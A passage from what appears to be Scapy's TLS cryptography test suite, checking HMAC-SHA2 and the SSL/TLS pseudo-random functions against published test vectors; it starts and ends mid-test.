b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa')\n    Data         = (b'\\x54\\x65\\x73\\x74\\x20\\x55\\x73\\x69\\x6e\\x67\\x20\\x4c\\x61'+\n                    b'\\x72\\x67\\x65\\x72\\x20\\x54\\x68\\x61\\x6e\\x20\\x42\\x6c\\x6f'+\n                    b'\\x63\\x6b\\x2d\\x53\\x69\\x7a\\x65\\x20\\x4b\\x65\\x79\\x20\\x2d'+\n                    b'\\x20\\x48\\x61\\x73\\x68\\x20\\x4b\\x65\\x79\\x20\\x46\\x69\\x72'+\n                    b'\\x73\\x74')\n    HMAC_SHA_224 = (b'\\x95\\xe9\\xa0\\xdb\\x96\\x20\\x95\\xad\\xae\\xbe\\x9b\\x2d\\x6f'+\n                    b'\\x0d\\xbc\\xe2\\xd4\\x99\\xf1\\x12\\xf2\\xd2\\xb7\\x27\\x3f\\xa6'+\n                    b'\\x87\\x0e')\n    HMAC_SHA_256 = (b'\\x60\\xe4\\x31\\x59\\x1e\\xe0\\xb6\\x7f\\x0d\\x8a\\x26\\xaa\\xcb'+\n                    b'\\xf5\\xb7\\x7f\\x8e\\x0b\\xc6\\x21\\x37\\x28\\xc5\\x14\\x05\\x46'+\n                    b'\\x04\\x0f\\x0e\\xe3\\x7f\\x54')\n    HMAC_SHA_384 = (b'\\x4e\\xce\\x08\\x44\\x85\\x81\\x3e\\x90\\x88\\xd2\\xc6\\x3a\\x04'+\n                    b'\\x1b\\xc5\\xb4\\x4f\\x9e\\xf1\\x01\\x2a\\x2b\\x58\\x8f\\x3c\\xd1'+\n                    b'\\x1f\\x05\\x03\\x3a\\xc4\\xc6\\x0c\\x2e\\xf6\\xab\\x40\\x30\\xfe'+\n                    b'\\x82\\x96\\x24\\x8d\\xf1\\x63\\xf4\\x49\\x52')\n    HMAC_SHA_512 = (b'\\x80\\xb2\\x42\\x63\\xc7\\xc1\\xa3\\xeb\\xb7\\x14\\x93\\xc1\\xdd'+\n                    b'\\x7b\\xe8\\xb4\\x9b\\x46\\xd1\\xf4\\x1b\\x4a\\xee\\xc1\\x12\\x1b'+\n                    b'\\x01\\x37\\x83\\xf8\\xf3\\x52\\x6b\\x56\\xd0\\x37\\xe0\\x5f\\x25'+\n                    b'\\x98\\xbd\\x0f\\xd2\\x21\\x5d\\x6a\\x1e\\x52\\x95\\xe6\\x4f\\x73'+\n                    b'\\xf6\\x3f\\x0a\\xec\\x8b\\x91\\x5a\\x98\\x5d\\x78\\x65\\x98')\n\nclass _hmac_test_case_7:\n    Key          = (b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'+\n                    b'\\xaa')\n    Data         = (b'\\x54\\x68\\x69\\x73\\x20\\x69\\x73\\x20\\x61\\x20\\x74\\x65\\x73'+\n                    b'\\x74\\x20\\x75\\x73\\x69\\x6e\\x67\\x20\\x61\\x20\\x6c\\x61\\x72'+\n                    b'\\x67\\x65\\x72\\x20\\x74\\x68\\x61\\x6e\\x20\\x62\\x6c\\x6f\\x63'+\n                    b'\\x6b\\x2d\\x73\\x69\\x7a\\x65\\x20\\x6b\\x65\\x79\\x20\\x61\\x6e'+\n                    b'\\x64\\x20\\x61\\x20\\x6c\\x61\\x72\\x67\\x65\\x72\\x20\\x74\\x68'+\n                    b'\\x61\\x6e\\x20\\x62\\x6c\\x6f\\x63\\x6b\\x2d\\x73\\x69\\x7a\\x65'+\n                    b'\\x20\\x64\\x61\\x74\\x61\\x2e\\x20\\x54\\x68\\x65\\x20\\x6b\\x65'+\n                    b'\\x79\\x20\\x6e\\x65\\x65\\x64\\x73\\x20\\x74\\x6f\\x20\\x62\\x65'+\n                    b'\\x20\\x68\\x61\\x73\\x68\\x65\\x64\\x20\\x62\\x65\\x66\\x6f\\x72'+\n                    b'\\x65\\x20\\x62\\x65\\x69\\x6e\\x67\\x20\\x75\\x73\\x65\\x64\\x20'+\n                    b'\\x62\\x79\\x20\\x74\\x68\\x65\\x20\\x48\\x4d\\x41\\x43\\x20\\x61'+\n                    b'\\x6c\\x67\\x6f\\x72\\x69\\x74\\x68\\x6d\\x2e')\n    HMAC_SHA_224 = (b'\\x3a\\x85\\x41\\x66\\xac\\x5d\\x9f\\x02\\x3f\\x54\\xd5\\x17\\xd0'+\n                    b'\\xb3\\x9d\\xbd\\x94\\x67\\x70\\xdb\\x9c\\x2b\\x95\\xc9\\xf6\\xf5'+\n                    b'\\x65\\xd1')\n    HMAC_SHA_256 = (b'\\x9b\\x09\\xff\\xa7\\x1b\\x94\\x2f\\xcb\\x27\\x63\\x5f\\xbc\\xd5'+\n                    b'\\xb0\\xe9\\x44\\xbf\\xdc\\x63\\x64\\x4f\\x07\\x13\\x93\\x8a\\x7f'+\n                    b'\\x51\\x53\\x5c\\x3a\\x35\\xe2')\n    HMAC_SHA_384 = (b'\\x66\\x17\\x17\\x8e\\x94\\x1f\\x02\\x0d\\x35\\x1e\\x2f\\x25\\x4e'+\n                    b'\\x8f\\xd3\\x2c\\x60\\x24\\x20\\xfe\\xb0\\xb8\\xfb\\x9a\\xdc\\xce'+\n                    b'\\xbb\\x82\\x46\\x1e\\x99\\xc5\\xa6\\x78\\xcc\\x31\\xe7\\x99\\x17'+\n                    b'\\x6d\\x38\\x60\\xe6\\x11\\x0c\\x46\\x52\\x3e')\n    HMAC_SHA_512 = (b'\\xe3\\x7b\\x6a\\x77\\x5d\\xc8\\x7d\\xba\\xa4\\xdf\\xa9\\xf9\\x6e'+\n                    b'\\x5e\\x3f\\xfd\\xde\\xbd\\x71\\xf8\\x86\\x72\\x89\\x86\\x5d\\xf5'+\n                    b'\\xa3\\x2d\\x20\\xcd\\xc9\\x44\\xb6\\x02\\x2c\\xac\\x3c\\x49\\x82'+\n                    b'\\xb1\\x0d\\x5e\\xeb\\x55\\xc3\\xe4\\xde\\x15\\x13\\x46\\x76\\xfb'+\n                    b'\\x6d\\xe0\\x44\\x60\\x65\\xc9\\x74\\x40\\xfa\\x8c\\x6a\\x58')\n\ndef _all_hmac_sha2_tests():\n    from scapy.layers.tls.crypto.h_mac import (Hmac_SHA224, Hmac_SHA256,\n                                               Hmac_SHA384, Hmac_SHA512)\n    res = True\n    for t in [_hmac_test_case_1, _hmac_test_case_2, _hmac_test_case_3,\n              _hmac_test_case_4, _hmac_test_case_5, _hmac_test_case_6,\n              _hmac_test_case_7 ]:\n        tmp = ((Hmac_SHA224(t.Key).digest(t.Data) == t.HMAC_SHA_224) and\n               (Hmac_SHA256(t.Key).digest(t.Data) == t.HMAC_SHA_256) and\n               (Hmac_SHA384(t.Key).digest(t.Data) == t.HMAC_SHA_384) and\n               (Hmac_SHA512(t.Key).digest(t.Data) == t.HMAC_SHA_512))\n        res = res and tmp\n    return res\n\n_all_hmac_sha2_tests()\n\n\n###############################################################################\n### PRF                                                                     ###\n###############################################################################\n\n+ Test PRFs and associated methods\n\n= Crypto - _tls_P_MD5 behavior on test vectors borrowed from RFC 2202 (+ errata)\nfrom scapy.layers.tls.crypto.prf import _tls_P_MD5\nt1 = _tls_P_MD5(b'\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b', \"Hi There\", 64) == b'8\\x99\\xc0\\xb8!\\xd7}RI\\xb2\\xbb\\x8e\\xbe\\xf8\\x97Y\\xcc\\xffL\\xae\\xc3I\\x8f\\x7f .\\x81\\xe0\\xce\\x1a\\x82\\xbd\\x19\\xa0\\x16\\x10P}\\xf0\\xda\\xdc\\xa0>\\xc4,\\xa1\\xcfS`\\x85\\xc5\\x084+QN31b\\xd7%L\\x9d\\xdc'\nt2 = _tls_P_MD5(b\"Jefe\", b\"what do ya want for nothing?\", 64) == b\"\\xec\\x99'|,\\xd5gj\\x82\\xb9\\xa0\\x12\\xdb\\x83\\xd3\\xa3\\x93\\x19\\xa6N\\x89g\\x99\\xc2!9\\xd8\\xcf\\xc1WTi\\xc4D \\x19l\\x03\\xa8PCo\\x10`-\\x98\\xd0\\xe1\\xbc\\xefAJkx\\x95\\x0c\\x08*\\xd6C\\x8fS\\x0e\\xd9\"\nt3 = _tls_P_MD5(b'\\xaa'*16,b'\\xdd'*50, 64) == b'\\xe5_\\xe8.l\\xee\\xd8AP\\xfc$$\\xda\\tX\\x93O\\xa7\\xd2\\xe2\\xa2\\xa9\\x02\\xa1\\x07t\\x19\\xd1\\xe3%\\x80\\x19\\rV\\x19\\x0f\\xfa\\x01\\xce\\x0eJ\\x7fN\\xdf\\xed\\xb5lS\\x06\\xb5|\\x96\\xa6\\x1cc)h\\x88\\x8d\\x0c@\\xfdX\\xaa'\nt4 = _tls_P_MD5(b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19', b'\\xcd'*50, 64) == b'\\x8e\\xa6\\x1f\\x82\\x1e\\xad\\xbe4q\\x93\\xf4\\x1c\\xb7\\x87\\xb3\\x15\\x13F\\x8b\\xfd\\x89m\\x0e\\xa6\\xdc\\xe9\\xceZ\\xcdOc>gN\\xa4\\x9cK\\xf89\\xfc6\\t%T=j\\xf0\\x0f\\xfdl\\xbf\\xfbj\\xc4$zR\"\\xf4\\xa4=\\x18\\x8b\\x8d'\nt5 = _tls_P_MD5(b'\\x0c'*16, b\"Test With Truncation\", 64) == b'\\xb3>\\xfaj\\xc8\\x95S\\xcd\\xdd\\xea\\x8b\\xee7\\xa5ru\\xf4\\x00\\xd6\\xed\\xd5\\x9aH\\x1f,F\\xb6\\x93\\r\\xc3Z<\"\\x1e\\xf7rx\\xf0\\xd7\\x0f`zy\\xe9\\r\\xb4\\xf4}\\xab2\\xa5\\xfe\\xd0z@\\x87\\xc1c\\x8b\\xa0\\xc8\\xf5\\x0bd'\nt6 = _tls_P_MD5(b'\\xaa'*80, b\"Test Using Larger Than Block-Size Key - Hash Key First\", 64) == b';\\xcf\\xa4\\xd8\\xccH\\xa0\\xa4\\xf1\\x10d\\xfa\\xd4\\xb1\\x7f\\xda\\x80\\xf6\\xe2\\xb9\\xf4\\xd3WtS\\x1c\\x83\\xb4(\\x94\\xfe\\xa7\\xb9\\xc1\\xcd\\xf9\\xe7\\xae\\xbc\\x0c\\x0f\\xbae\\xc3\\x9e\\x11\\xe2+\\x11\\xe9\\xd4\\x8fK&\\x99\\xfe[\\xfa\\x02\\x85\\xb4\\xd8\\x8e\\xdf'\nt7 = _tls_P_MD5(b'\\xaa'*80, b\"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data\", 64) == b'\\x12\\x06EI1\\x81fP\\x8dn\\xa6WC\\xfb\\xbf\\x1e\\xefC[|\\x0f\\x05w\\x14@\\xfc\\xa5 \\xeak\\xc9\\xb9\\x1c&\\x80\\x81.\\x85#\\xa9\\x0ff\\xea\\xaa\\x01\"v\\'\\xd8X\"\\xbd\\xa2\\x86\\xbd\\xe3?6\\xc7|\\xc6WNO'\nt1 and t2 and t3 and t4 and t5 and t6 and t7\n\n\n= Crypto - _tls_P_SHA1 behavior on test vectors borrowed from RFC 2202 (+ errata)\nfrom scapy.layers.tls.crypto.prf import _tls_P_SHA1\nt1 = _tls_P_SHA1(b'\\x0b'*20, b\"Hi There\", 80) == b'\\x13\\r\\x11Q7(\\xc1\\xad\\x7f>%m\\xfc\\x08\\xb6\\xb9$\\xb1MG\\xe4\\x9c\\xcdY\\x0e\\\\T\\xd0\\x8f\\x1a-O@`\\xd2\\x9eV_\\xfd\\xed\\x1f\\x93V\\xfb\\x18\\xb6\\xbclq3A\\xa2\\x87\\xb1u\\xfc\\xb3RQ\\x19;#\\n(\\xd2o%lB\\x8b\\x01\\x89\\x1c6m\"\\xc3\\xe2\\xa0\\xe7'\nt2 = _tls_P_SHA1(b'Jefe', b\"what do ya want for nothing?\", 80) == b'\\xba\\xc4i\\xf1\\xa0\\xc5eO\\x844\\xb6\\xbd%L\\xe1\\xfe\\xef\\x08\\x00\\x1c^l\\xaf\\xbbN\\x9f\\xd8\\xe5}\\x87U\\xc1\\xd2&4zu\\x9a1\\xef\\xd6M+\\x1e\\x84\\xb4\\xcb\\xc9\\xa7\\n\\x90f\\x8aJ\\xde\\xd5\\xa4\\x8f,D\\xe8.\\x98\\x9c)\\xc7hlct\\x1em(\\xb73b[L\\x96c'\nt3 = _tls_P_SHA1(b'\\xaa'*20, b'\\xdd'*50, 80) == b'Lm\\x848}\\xe8?\\x88\\x82\\x85\\xc3\\xe6\\xc9\\x1f\\x80Z\\xf5D\\xeeI\\xa1m\\x08h)\\xea<zk{\\x9b\\x9b\\xe1;H\\xa4\\xf5\\x93r\\x87\\x07J0\\n\\xb9\\xdd\\\\~j\\xd0\\x98R|C\\x89\\x131\\x12u%\\x90\\xb2\\x05\\xb4}\\xad}\\xc4MP\\x8cmb\\x0c\\x88\\xfd{)\\x9b\\xc0'\nt4 = _tls_P_SHA1(b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19', b'\\xcd'*50, 80) == b'\\xd6\\xe4\\x8a\\x91\\xb3\\xac\\xe16\\x9d\\x10s\\xf1\\x1bu\\x96(6f\\xed\\xd8x\\x19\\xcd<:\\x15\\xb2z\\xc1\\xa9\\xdf\\x89=\\xeb!\\xfb\\n\\x0e\\xdf0\\xb9\\xb5\\xa96\\xcf\\x9b\\xd4\\xcaD\\x12Y1[p\\xb9\\xf9\\xbb=\\xa9\\xcd\\xb7\\xe0L\\xb00\\xafK\\xc4\\x9c\\xc6?#\\xb6$\\xebM\\x1a\\xba;3'\nt5 = _tls_P_SHA1(b'\\x0c'*20, b\"Test With Truncation\", 80) == b'`\\x1d\\xe4\\x98Q\\xa1\\xdbW\\xc5a\\xa9@\\x8fQ\\x86\\xfc\\x17\\xca\\xda\\x1a\\xdd\\xb8\\xab\\x94M_Y\\xd1%Pj\\xfc\\xd4\\xca\\x82\\x88\\xdb\\x04\\xf9F\\xbe\\xbf\\xecR\\xa4\\x0c}[\\x8e\\xc7\\xdf\\x88I:\\xea2v\\xbe\\x06\\x8fcx\\xf1Q\\xb7z1\\x1455?\\xc0_\\xda\\xbb;\\xa6Q\\xb3\\xc5'\nt6 = _tls_P_SHA1(b'\\xaa'*80, b\"Test Using Larger Than Block-Size Key - Hash Key First\", 80) == b'\\x00W\\xbaq>^\\x047;\\xcezY}\\x16\\xc6\\xf10\\x80:\\xe2K\\x87i{\\xc7V\\xad2\\xda=\\xf3d7\\x047\\xf7r\\xf1&\\x04\\xb1\\xd1\\xf8\\x88H\\'\\r\\x08\\xc4\\x81\\xa3\\xa1Q\\xa5\\x90\\xed\\xef\\xd8\\x9c\\x14\\xdc\\x80\\xab){3\\xde\\x87\\x8a\\x1e\"\\x1e\\xad54rM\\x94\\xe1\\xb8'\nt7 = _tls_P_SHA1(b'\\xaa'*80, b\"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data\", 80) == b'N/PKC\\x1d\\xb5[}gUk\\xc7\\xaf\\xb4-\\xef\\x9e\\xe63$E=\\xfc\\xc4\\xd0l]EA\\x84\\xb0\\x1e\\x91]\\xcc[\\x0e-\\xec\\xd5\\x90\\x19,\\xc6\\xffn\\xf8\\xbe1Ck\\xe6\\x9cF*\\x8c\"_\\x05\\x14%h\\x98\\xa1\\xc2\\xf1bCt\\xd4S\\xc1:{\\x96\\xa4\\x14c '\nt1 and t2 and t3 and t4 and t5 and t6 and t7\n\n\n= Crypto - _tls_PRF behavior on test vectors borrowed from RFC 2202 (+ errata)\nfrom scapy.layers.tls.crypto.prf import _tls_PRF\nt1 = _tls_PRF(b'\\x0b'*20, b\"Test Label XXXX\", b\"Hi There\", 80) == b'E\\xcc\\xeb\\x12\\x0b<\\xbfh\\x1f\\xc3\\xd3%J\\x85\\xdeQ\\t\\xbc[\\xcd.\\xbe\\x170\\xf2\\xebm\\xe6g\\x05x\\xad\\x86V\\x0b\\xb3\\xb7\\xe5i\\x7fh}T\\xe5$\\xe4\\xba\\xa0\\xc6\\xf0\\xf1\\xb1\\xe1\\x8a\\xf5\\xcc\\x9ab\\x1c\\xc9\\x10\\x82\\x93\\x82Q\\xd2\\x80\\xf0\\xf8\\x0f\\x03\\xe2\\xbe\\xc3\\x94T\\x05\\xben\\x9e'\nt2 = _tls_PRF(b'Jefe', b\"Test Label YYYYYYY\", b\"what do ya want for nothing?\", 80) == b'n\\xbet\\x06\\x82\\x87\\xcd\\xea\\xd9\\x8b\\xf8J\\x17\\x07\\x84\\xbc\\xf3\\x07\\x9a\\x99\\n\\xa6,\\x97\\xe6CRO\\x7f\\x0e[,\\xa9\\x83\\xe6\\xce?6\\x12x\\xc8Q\\x00kO\\x06s\\xc5\\xd7\\xda\\x1fd_\\xe8\\xad\\xd4\\xea\\xfe\\xd8\\xc8 \\x92e\\x80\\x8a\\xafxF\\xd6-/\\x14\\x94\\x05a\\x94\\x0b\\x1d\\xf83'\nt3 = _tls_PRF(b'\\xaa'*20, b\"Test Label ZZ\", b'\\xdd'*50, 80) == b\"Ad\\xe2B\\xa0\\xb0+G#\\x0f%\\x19\\xae\\xdd\\xb1d\\xa0\\x99\\x15\\x98\\xa43c?\\xaa\\xd1\\xc0\\xf7\\xc39V\\xcb\\x9b}\\x95T\\xd9\\xde \\xecr{/\\xfb\\x018\\xeeR \\x18Awi\\x86=\\xb4rg\\x13\\\\\\xaf<\\x17\\xd3_\\xc5'U[\\xa5\\x83\\xfa<\\xa6\\xc9\\xdd\\x85l\\x1a\\xdb\"\nt4 = _tls_PRF(b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19', b\"Test Label UUUUUUUUUUUUUUU\", b'\\xcd'*50, 80) == b'<\\xf0\\xe9\\xaa\\x95w\\t\\xa7\\xb0!w\\xf1EoC\\x8fJ\\x1f\\xec\\x80.\\x89X\\xe3O4Vl\\xd1\\xb7]\\xa1\\xb9o\\xdf/&!\\xb8n\\xeb\\x04\"\\xeftxs 6E+\\xf1\\xb3\\xb6/vd\\xd1h\\xa3\\x80>\\x83Y\\xbd]\\xda\\xab\\xb8\\xd8\\x01\\xc5b3K\\xe7\\x08\\r\\x12\\x14'\nt5 = _tls_PRF(b'\\x0c'*20, b\"Test Label KKKKKKKKK\", b\"Test With Truncation\", 80) == b\"gq\\xa5\\xc4\\xf5\\x86z.\\x03\\n\\xa3\\x85\\x87\\xbc\\xabm\\xf1\\xd2\\x06\\xf6\\xbc\\xc8\\xab\\xf0\\xee\\xd2>e'!\\xd3zW\\x81\\x10|^(\\x8d~\\xa5s&p\\xef]\\rDa\\x113\\xa6z\\x9f\\xf2\\xe2_}\\xd8.u\\xbe\\xb1\\x7fx\\xe0r~\\xdc\\xa2\\x0f\\xcd\\xcd\\x1d\\x81\\x1a`#\\xc6O\"\nt6 = _tls_PRF(b'\\xaa'*80, b\"Test Label PPPPPPPPP\", b\"Test Using Larger Than Block-Size Key - Hash Key First\", 80) == b'\\x994^fx\\x17\\xbaaj\\xc0\"\\xd1g\\xbfh#uE\\xee\\xd8\\xf1,\\xab\\xe7w\\xfa\\xc8\\x0c\\xf9\\xcd\\xbb\\xbb\\xa71U\\xbe\\xeb@\\x90\\xc2\\x04\\x93\\xa5\\xcf\\x8e\\xda\\xbb\\x93n\\x99^\\xa2{\\x8b{\\x18\\xd7\\xf7e\\x8a~\\xfbA\\xdd\\xc3\\xd9\\x9b\\x1c\\x82$\\xf5YX{\\xaa\\xb4\\xf2\\x04\\xb3%'\nt7 = _tls_PRF(b'\\xaa'*80, b\"Test Label MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\", b\"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data\", 80) == b'\\xd6N\\x12S\\x18]\\x87\\x19\\xacD\\x1b4\\xc3\"\\xc2\\xd9J\\xb8\\xee/\\xb0?\\xc2_\\x10\\xb2\\x196\\xdaXC\\xe0Ft\\xd3:a\\xcd\\xb8\\xdd\\x8a\\xb6\\xb1\\xc6sx\\xb8\\x87\\x8a\\x93\\xf8~\\xad\\xc7\\xd1\\xa7I=\\xceVW\\x0f\\x9a\\xcc-\\x8cv^o\\x12\\xa4\\xcd\\x10\\xb1\\xb0\\x1f\\xdd\\x94,\\x03'\nt1 and t2 and t3 and t4 and t5 and t6 and t7\n\n\n= Crypto - _ssl_PRF behavior on test vectors\nfrom scapy.layers.tls.crypto.prf import _ssl_PRF\nt1 = _ssl_PRF(b'\\x0b'*20, b\"Hi There\", 80) == b'\\x0fo\\xbe9\\x83>~Bc\\xaea^\\x86\\xd2b\\x94X\\xfd9Be\\xe799\\xf2\\x00\\xfcS\\xd6\\x1c=\\xe5\\x7fin\\x1e\\xf9r\\xc8\\xe6k\\x19K\\x8a\\x85SK\\xe5\\xb7;A\\x19b\\x86F3M\\x8d=\\xcf\\x15\\xeedo\\xd3\\xae\\xa2\\x95\\x8e\\x80\\x13\\xabG\\x8d\\x1c,\\x8c\\xab\\xf7\\xd4'\nt2 = _ssl_PRF(b'Jefe', b\"what do ya want for nothing?\", 80) == b'\\x19\\x9f\\xb9{\\x87.\\xd0\\xf5\\xc4\\t.\\xb6#\\xae\\x95\\xe0S~\\x15\\xce\\xe6\\xb7oe\\xad\\x127\\xb8\\xc2C?\\r\\x87\\xa6\\x7f\\x86y\\xfa\\xae\\xcf\\x0e\\xb9\\x01\\xa5B\\x07\\x9d\\x95\\xf1]\\xdc\\x1bCb&T\\xa0\\xb0\\x8a3\\xcf\\\\\\xaf\\xe8j/\\xbdx\\x13\\\\\\x91\\xc8\\xdfZ\\xde\"R`K\\xd6'\nt3 = _ssl_PRF(b'\\xaa'*20, b'\\xdd'*50, 80) == b'\\xe3*\\xce\\xdc?k{\\x10\\x80\\x8dt\\x0e\\xdaA\\xf9}\\x1d\\x8e|\\xc9Ux\\x88\\\\\\xf1a\\xcfJ\\xedi\\xc1[C-\\xf3\\xa4\\xcc\\xf9\\xce\\xa3P\\xe3\\x9ai\\x0b\\xb7\\xce\\x8bar\\x93\\xc5\\x93\\x1a\\x82\\xc8{\\x1c\\xf2\\x87\\x9d\\xe1\\xf5\\x9e\\x0c\\xf6\\xa6\\x91\\xb9\\x97\\x17Y,\\x11\\x00\\rs\\xdd\\xcf]'\nt4 = _ssl_PRF(b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19', b'\\xcd'*50, 80) == b\"\\x8c\\x83!h\\x1b\\xf2\\x96f\\x04\\x15\\x80H\\x88\\xcb\\x80\\x03\\xc0\\xfc\\x05\\xe5q\\x93]\\xeb\\t\\xd4B\\xbc\\xa4{\\xb9\\xd8\\xb6IF\\xc2\\x80\\x87\\x9e2*\\x82\\x0ef\\xc8\\xbbBi\\xb15\\x90\\xd6MW\\xebM\\xd7\\xf9u\\xd5+\\xa8\\x81\\x11'\\x8c\\x88]b\\r,\\xde\\xd9d[t\\t\\x199\\x0b\"\nt5 = _ssl_PRF(b'\\x0c'*20, b\"Test With Truncation\", 80) == b\"\\x85\\xf5\\xe8\\xd2\\xddW$\\x14\\xde\\x84\\x08@\\xca\\x86\\x8bZn\\x07\\x87AKg\\x18\\xc3\\x1a'\\xc2\\xb9\\xdd\\x17\\xb5K1\\xb9\\x9a=\\xe4\\x1f/\\xfe\\xa6\\x96\\x10\\x0c\\x15@:z\\xbf\\x1dM\\xa3\\x90\\x01\\xb67\\x07Z\\xe0\\xfe}U=\\x81\\xb2~\\xc6\\x1a\\xcb\\xe7\\x9b\\x90+\\xa0\\x86\\xb2\\x8b\\xae\\xc7\\x9f\"\nt6 = _ssl_PRF(b'\\xaa'*80, b\"Test Using Larger Than Block-Size Key - Hash Key First\", 80) == b'\\x99\\x11\\x92\\x8dw\\xf1\\xab\\xdfr\\x96S\\xf5\\xc1\\x96\\xc0\\x16W*=\\xa49\\xd0\\xf0\\xf15\\x91le\\xda\\x16\\xfe8\\x834kC3\\x1b\\xdf\\xfc\\xd8\\x82\\xe1\\x9c\\xfe9(4\\xf9\\x9c\\x12\\xc5~\\xd1\\xdc\\xf3\\xe5\\x91\\xbd\\xbb\\xb5$\\x1c\\xe4fs\\xf2\\xedM\\xb7pO\\x17\\xdf\\x01K\\xf8\\xed2-'\nt7 = _ssl_PRF(b'\\xaa'*80, b\"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data\", 80) == b\"\\x8esl|C\\x81\\x80vv\\xe1\\x89H\\xc9'oC\\x1b\\xbe\\xc3\\xbbE\\x04)\\xed\\x1c\\x84\\xa9)\\x08\\xf5\\xeb-\\x93\\xe9\\x0f}\\xeb[\\xc4w\\xd53y$\\x07\\xdc\\x0f\\\\\\xfc\\xb2\\x05r+\\x13\\xd8\\xc3\\xe7Lsz\\xa1\\x03\\x93\\xdd-\\xf9l\\xb7\\xe6\\xb3\\x7fM\\xfa\\x90\\xadeo\\xcer*\"\nt1 and t2 and t3 and t4 and t5 and t6 and t7\n\n\n= Crypto - _tls12_*_PRF behavior, using SHA-256, SHA-384 and SHA-512\n# https://www.ietf.org/mail-archive/web/tls/current/msg03416.html\n\nfrom scapy.layers.tls.crypto.prf import PRF\nclass _prf_tls12_sha256_test:\n    h= \"SHA256\"\n    k= b\"\\x9b\\xbe\\x43\\x6b\\xa9\\x40\\xf0\\x17\\xb1\\x76\\x52\\x84\\x9a\\x71\\xdb\\x35\"\n    s= b\"\\xa0\\xba\\x9f\\x93\\x6c\\xda\\x31\\x18\\x27\\xa6\\xf7\\x96\\xff\\xd5\\x19\\x8c\"\n    o=(b\"\\xe3\\xf2\\x29\\xba\\x72\\x7b\\xe1\\x7b\\x8d\\x12\\x26\\x20\\x55\\x7c\\xd4\\x53\" +\n       b\"\\xc2\\xaa\\xb2\\x1d\\x07\\xc3\\xd4\\x95\\x32\\x9b\\x52\\xd4\\xe6\\x1e\\xdb\\x5a\")\n\nclass _prf_tls12_sha384_test:\n    h= \"SHA384\"\n    k= b\"\\xb8\\x0b\\x73\\x3d\\x6c\\xee\\xfc\\xdc\\x71\\x56\\x6e\\xa4\\x8e\\x55\\x67\\xdf\"\n    s= b\"\\xcd\\x66\\x5c\\xf6\\xa8\\x44\\x7d\\xd6\\xff\\x8b\\x27\\x55\\x5e\\xdb\\x74\\x65\"\n    o=(b\"\\x7b\\x0c\\x18\\xe9\\xce\\xd4\\x10\\xed\\x18\\x04\\xf2\\xcf\\xa3\\x4a\\x33\\x6a\" +\n       b\"\\x1c\\x14\\xdf\\xfb\\x49\\x00\\xbb\\x5f\\xd7\\x94\\x21\\x07\\xe8\\x1c\\x83\\xcd\")\n\nclass _prf_tls12_sha512_test:\n    h= \"SHA512\"\n    k= b\"\\xb0\\x32\\x35\\x23\\xc1\\x85\\x35\\x99\\x58\\x4d\\x88\\x56\\x8b\\xbb\\x05\\xeb\"\n    s= b\"\\xd4\\x64\\x0e\\x12\\xe4\\xbc\\xdb\\xfb\\x43\\x7f\\x03\\xe6\\xae\\x41\\x8e\\xe5\"\n    o=(b\"\\x12\\x61\\xf5\\x88\\xc7\\x98\\xc5\\xc2\\x01\\xff\\x03\\x6e\\x7a\\x9c\\xb5\\xed\" +\n       b\"\\xcd\\x7f\\xe3\\xf9\\x4c\\x66\\x9a\\x12\\x2a\\x46\\x38\\xd7\\xd5\\x08\\xb2\\x83\")\n\ndef _all_prf_tls12_tests():\n    res = True\n    for t in [ _prf_tls12_sha256_test,\n               _prf_tls12_sha384_test,\n               _prf_tls12_sha512_test ]:\n        p = PRF(tls_version=0x303, hash_name=t.h)\n        tmp = p.prf(t.k, b\"test label\", t.s, 32) == t.o\n        res = res and tmp\n    return res\n\n_all_prf_tls12_tests()\n\n\n= Crypto - compute_master_secret() in SSL mode\nf = PRF(tls_version=0x300)\nt1 = f.compute_master_secret(b\"A\"*48, b\"B\"*32, b\"C\"*32) == 